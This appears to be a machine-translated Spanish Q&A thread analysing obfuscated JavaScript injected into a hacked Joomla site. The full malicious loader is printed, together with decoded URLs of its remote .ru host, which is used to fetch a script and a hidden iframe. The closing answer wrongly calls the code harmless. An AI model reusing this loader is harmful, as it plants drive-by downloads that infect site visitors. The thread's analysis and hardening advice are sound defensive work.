javascript - obtener - ¿Cómo funciona este desastre?
llamar javascript desde html (8)
Cuando lees todo, encuentras que es una cadena seguida de un comando de reemplazo.
Mi Joomla! el sitio web ha sido hackeado repetidamente. Alguien, de alguna manera, logró inyectar la siguiente basura en los scripts clave de php, pero me refiero a no hablar sobre la configuración de Joomla. El sitio no se visita mucho (a veces me temo que podría ser el único visitante de ese sitio ...) y no me importa mucho que el sitio vuelva a funcionar. Lo manejaré eventualmente.
Mi pregunta es, ¿cómo funciona esta basura? Lo miro y simplemente no veo cómo se las arregla para hacer daño. Lo que hace es tratar de descargar un archivo PDF llamado ChangeLog.pdf, que está infectado con un troyano y después de la apertura congelará su Acrobat y causará estragos en su máquina. Cómo hace eso, no sé, no me importa. Pero, ¿cómo el siguiente fragmento de script invoca la descarga?
<script>/*Exception*/ document.write(''<script src=''+''h#^(t@)((t$&@p#:)&/!$/)@d$y#^#$n@$d^!!&n#s$)^-$)o^^(r!#g!!#$.^^@g))!a#m#@$e&$s^@@!t@@($!o@$p(.&@c&)@(o$m)).!$m$)y@(b@e()s&$t$@y&o$&(u#)$x&&^(i)-@^c!!&n$#.(@g)$e#(^n&!u(i&#&n(e&(!h&o@&^&l^$(l)&y$(#@w!o@!((o#d&^.^#)r$#^u!!$:(#@&8#)(0$8@&0^(/))s#o#^&#^f!$t$!o##n(&$i(^!c$(.!&c@o!&^m#&/&(s&$(o!f&!t@&o!!n)&i$&c!.#^^c)!$o@@((m@#/$^!g#^o$^&o&#g!l)@@@!e&.))c!)(o#@#^!m(&/^^l#^@i##(v&@e&)!$j^!a@$s#m!i)n$.!$c&$o)@$m^/@$v&i^d^()e(!o&&s@(z(@)^.@)c$&o^m)$)^/#$''.replace(/#|/$|@|/^|&|/(|/)|/!/ig, '''')+'' defer=defer></scr''+''ipt>'');</script>
<!--6f471c20c9b96fed179c85ffdd3365cf-->
ESET ha detectado este código como troyano JS / TrojanDownloader.Agent.NRO
Estas respuestas pueden ayudarlo a comprender la naturaleza del código JavaScript malicioso, pero lo que debe buscar es una forma de cerrar la laguna inherente al motor Joomla. Los marcos preempaquetados son propensos a lagunas legales, intencionales o no, especialmente cuando se tiene en cuenta que están diseñados para trabajar en entornos Unix, Mac y Windows.
Mi trabajo requiere que ejecute muchos dominios, aplicaciones y marcos en muchos tipos de servidores y sistemas para clientes y para mí. Con el tiempo, he visto cada vez más robots arrastrándose por estos sistemas en busca de vacíos y entradas conocidas por las entradas de puerta trasera creadas por esos marcos. Lo bueno es que cuando uso cualquier tipo de framework, cosa que rara vez hago, me aseguro de cambiar el nombre de la estructura de archivos si no de todo para deshacerme de esas molestas lagunas / puertas traseras. Por lo menos, puede cambiar el nombre de los directorios que arrojarán la mayoría de los bots, pero mi camino es eliminar por completo las referencias que dan pistas sobre la naturaleza del framework, que incluye el cambio de nombre de toda la estructura de archivos no solo directorios. Mantenga siempre un mapa de las nuevas convenciones de nomenclatura en relación con las convenciones de nomenclatura antiguas para hacer que agregar complementos a su marco base sea muy fácil. Una vez que se familiarice con esto, puede llegar a asignar un nombre a la estructura de archivos de Framework para obtener resultados más rápidos, esto es especialmente útil cuando se trata de clientes que necesitan actualizar su framework con complementos y similares.
Mis dos centavos. ¿Has / puedes instalar una herramienta de copia de seguridad de Joomla como Joomlapack?
Lo he configurado para que se ejecute a través de un script de CRONOS para mantener los productos a mano en caso de que los asaltantes lleguen al asalto.
¿Qué versión de Joomla estás ejecutando?
Las versiones 1.0.X ya no se actualizan y su edad realmente comienza a mostrarse. Te debes a ti mismo hacer una copia de seguridad y planear actualizar a 1.5 y anticipar las maravillas de 1.6
Observe la llamada de replace
después de la cadena desordenada gigante: .replace(/#|/$|@|/^|&|/(|/)|/!/ig, '''')
.
Elimina la mayoría de los caracteres especiales, convirtiéndolo en una URL normal:
evil://dyndns-org.gamestop.com.mybestyouxi-cn.genuinehollywood.ru:8080/softonic.com/softonic.com/google.com/livejasmin.com/videosz.com/
(Cambié manualmente http:
al evil:
Tenga en cuenta que la expresión regular podría haberse simplificado para .replace(/[#$@^&()!]/ig, '''')
Si miras el script, verás que es un script muy simple que inyecta un IFRAME oculto que contiene la ruta /index.php?ys
del mismo dominio.
Solicité esa página en Fiddler, y no tenía contenido.
Solo hace una regex replace en la URL del script para darte
NOTA: NO SIGA EL ENLACE ABAJO (insertado **
para disuadir a los copiadores)
http**://dyndns-org.gamestop.com.mybestyouxi-cn.genuinehollywood.ru:8080/softonic.com/softonic.com/google.com/livejasmin.com/videosz.com/
como el src
Su script de carga de
h..p://dyndns-org.gamestop.com.mybestyouxi-cn.genuinehollywood.ru:8080/softonic.com/softonic.com/google.com/livejasmin.com/videosz.com/
Y ese script carga iframe
desde con visibilidad hidden
h..p://dyndns-org.gamestop.com.mybestyouxi-cn.genuinehollywood.ru:8080/index.php?ys
Tengo el mismo sript en mis páginas en archivos de índice *. *. Estoy escribiendo mi propio código en PHP. Mi pregunta no es cómo funciona esto, pero estoy preguntando cómo proteger si conoces sus puertas traseras. Cambié los formularios y leí $ _POST y $ _GET con la sustitución de <> y http: //, etc.
Utiliza la función de reemplazo para reemplazar los caracteres de basura utilizando expresiones regulares, nada de malo con el código:
........replace(/#|/$|@|/^|&|/(|/)|/!/ig, '''')